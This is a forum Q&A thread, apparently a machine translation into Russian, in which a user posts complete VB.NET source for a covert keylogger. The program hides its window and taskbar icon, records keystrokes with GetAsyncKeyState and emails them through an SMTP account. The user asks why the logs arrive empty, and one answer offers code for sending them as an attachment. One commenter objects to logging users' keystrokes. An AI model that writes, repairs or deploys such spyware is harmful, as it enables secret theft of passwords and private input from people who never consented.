2015-12-08 5 views
0

сегодня у меня возникла проблема с моей программой. Таким образом, в основном, то, что он должен делать, - это сбор пользовательских нажатий клавиш и отправка их на мой адрес электронной почты. Моя электронная почта и пароль были охвачены в целях безопасности.SMTP Malfunction

КОД

Option Strict On 
Imports System.Net.Mail 
Public Class Form1 

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer 
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick 
    Try 
     Dim smtpserver As New SmtpClient 
     smtpserver.EnableSsl = True 
     Dim mail As New MailMessage 
     smtpserver.Credentials = New Net.NetworkCredential("a******@live.com.au", "*********") 
     smtpserver.Port = 587 
     smtpserver.Host = "smtp.live.com" 
     mail = New MailMessage 
     mail.From = New MailAddress("a******@live.com.au") 
     mail.To.Add("a******@live.com.au") 
     mail.Subject = ("New keylogger logs!") 
     mail.Body = txtLogs.Text 
     smtpserver.Send(mail) 
    Catch ex As Exception 
     Me.Close() 
    End Try 
End Sub 

Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick 
    Dim result As Integer 
    Dim key As String = "" 
    Dim i As Integer 

    For i = 2 To 90 
     result = 0 
     result = GetAsyncKeyState(i) 
     If result = -32767 Then 
      key = Chr(i) 
      If i = 13 Then key = vbNewLine 
      Exit For 
     End If 
    Next i 

    If key <> Nothing Then 
     If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then 
      txtLogs.Text &= key 
     Else 
      txtLogs.Text &= key.ToLower 
     End If 
    End If 

    If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "h" Then 
     Me.Visible = True 
    End If 
End Sub 

Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed 
    txtLogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine 
End Sub 

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
    Me.ShowInTaskbar = False 
    Me.ShowIcon = False 
    Me.Visible = False 
    txtLogs.Text = txtLogs.Text + "keylogger started at: " & Now & vbNewLine 


End Sub 
End Class 

Вместо отправки журналов в электронном письме он просто посылает

Keylogs RECIVED на ...

Я использую рамки .Net 3.5 в соответствии с моей программой.

В чем проблема?

+5

Помимо: * «Мой адрес электронной почты и пароль были застрахованы в целях безопасности» * - На самом деле вы также должны ** не ** вести кейлоггинг пользователей в целях безопасности. – Abhitalks

+0

@Abhitalks На самом деле политика «До тех пор, пока вопрос расширяет знания», это подходит. Кроме того, то, что я использую для него, не имеет значения. – Aymen

+0

Я согласен с @Abhitalks, но помимо этого вы пытались отладить и посмотреть, что происходит? –

ответ

0

1-й, позвольте мне изложить вашу проблему в приведенном выше коде, вы пытаетесь отправить «файл» в качестве тела, это не то, как вы отправляете вложения. Пример ниже.

Dim SMTP_Attachment as system.net.mail.attachment 
SMTP_Attachment = new system.net.mail.attachment("Path to file") 
smtpserver.attahcment.add(SMTP_Attachment)